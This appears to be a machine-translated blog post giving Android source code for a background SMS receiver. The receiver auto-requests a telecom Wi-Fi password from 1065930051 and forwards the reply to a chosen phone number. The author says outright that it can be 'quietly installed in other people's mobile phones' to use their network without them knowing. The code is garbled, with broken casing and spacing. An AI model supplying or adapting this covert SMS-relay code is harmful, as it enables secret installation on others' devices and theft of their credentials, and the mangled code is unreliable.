Open Sms_1017.exe, enter the phone serial number, the phone string can be entered in the main screen of the phone * #06 # will tell you, is meid below, and then it will tell you to send the text message "mm| ...", and then send to 1065930051 just fine.
My idea is to use the Android phone listener mechanism, to receive their own "mobile" mobile phone number, to 1065930051 to send a text message "mm| ..."; listen to 1065930051 of the telecom phone, to their "mobile" Mobile phone number to send 1065930051 SMS content.
Here is my implementation code:
I used the listener mode, that is, as long as the installation of the software can reply to text messages, no longer worry about the mobile phone to the end of the software process (the phone restarts do not need to open the software, so it can work properly). Of course, can also be quietly installed in other people's mobile phones, secretly rubbing nets, how to use I am not responsible.
Smsreceiver.javapackage Smsbc.jason.nbu;import Android.app.pendingintent;import Android.content.broadcastreceiver;import Android.content.context;import Android.content.intent;import Android.os.bundle;import Android.telephony.gsm.smsmessage;import Android.telephony.gsm.smsmanager;import Android.widget.toast;public class Smsreceiver extends broadcastreceiver{public smsreceiver () {System.out.printl N ("Smsreceiver"); } @Override public void OnReceive (context context, Intent Intent) {//To determine if the received broadcast is the broadcast of the message received ACTI On if ("Android.provider.Telephony.SMS_RECEIVED". Equals (Intent.getaction ())) {System.out.printl N ("Receive Message"); Bundle bundle = Intent.getextras (); Object myobjpdus[] = (object[]) bundle.get ("PDUs"); Smsmessage message[] = new Smsmessage[myobjpdus.length]; System.out.println ("Number of message strips:" + message.length); for (int i = 0; i < Myobjpdus.lengTh i++) {Message[i] = SMSMESSAGE.CREATEFROMPDU ((byte[]) myobjpdus[i]); String address = message[i].getdisplayoriginatingaddress (); String BODY = Message[i].getdisplaymessagebody (); SYSTEM.OUT.PRINTLN (address); System.out.println (body); if (Address.equals ("159****2540")) {System.out.println ("111: The letter address is 159****2540, SMS has been sent to 1065930051. "); String ctaddress = "1065930051"; String ctbody = "mm|0000000000000000";//calculated string number Smsmanager Smsmanager = Smsmanager.getdefault (); Pendingintent MPI = pendingintent.getbroadcast (context, 0, New Intent (), 0); Smsmanager.sendtextmessage (ctaddress, NULL, ctbody, MPI, NULL); SYSTEM.OUT.PRINTLN ("The letter address is 159****2540, has sent SMS to 1065930051. "); } if (address.equals("1065930051")) {System.out.println ("111: The letter address is 1065930051, SMS has been sent to 159****2540. "); String MYaddress = "159****2540"; Smsmanager Smsmanager = Smsmanager.getdefault (); Pendingintent MPI = pendingintent.getbroadcast (context, 0, New Intent (), 0); Smsmanager.sendtextmessage (MYaddress, NULL, body, mPI, NULL); SYSTEM.OUT.PRINTLN ("The letter address is 1065930051, SMS has been sent to 159****2540. "); } toast.maketext (Context, "SMS send Complete", Toast.length_long). Show (); } } }}
//smsbroadcastactivity.javapackage Smsbc.jason.nbu;import Smsbc.jason.nbu.smsreceiver;import Android.app.activity;import Android.os.Bundle; public class Smsbroadcastactivity extends activity {/** Called when the activity is first created. */private Smsreceiv ER smsreceiver = null; @Override public void OnCreate (Bundle savedinstancestate) {super.oncreate (savedinstancestate); Setcontentview (R.layout.main); Smsreceiver = new Smsreceiver ();//Start up, you can turn it off directly}
Androidmanifest.xml<?xml version= "1.0" encoding= "Utf-8"? ><manifest xmlns:android= "/http Schemas.android.com/apk/res/android "package=" Smsbc.jason.nbu "android:versioncode=" 1 "android:versionname=" 1.0 " > <uses-sdk android:minsdkversion= "ten"/> <application android:icon= "@drawable/ic_launche R "android:label=" @string/app_name "> <activity android:name=". Smsbroadcastactivity "android:label=" @string/app_name "> <intent-filter> < ; Action android:name= "Android.intent.action.MAIN"/> <category android:name= "Android.intent.categ Ory. LAUNCHER "/> </intent-filter> </activity> <receiver android:name=". Smsreceiver "android:process=": Remote "> <intent-filter> <action android:name=" Andro Id.provider.Telephony.SMS_RECEIVED "/> <!--<action AndroiD:name= "Android.intent.action.BOOT_COMPLETED" > </intent-filter> </receiver> &L t;/application> <uses-permission android:name= "Android.permission.READ_SMS"/><uses-permission Andro Id:name= "Android.permission.SEND_SMS"/> <uses-permission android:name= "Android.permission.RECEIVE_SMS"/ > <uses-permission android:name= "Android.permission.WRITE_SMS"/></manifest>
A realization method of acquiring flash password for non-telecommunication mobile phone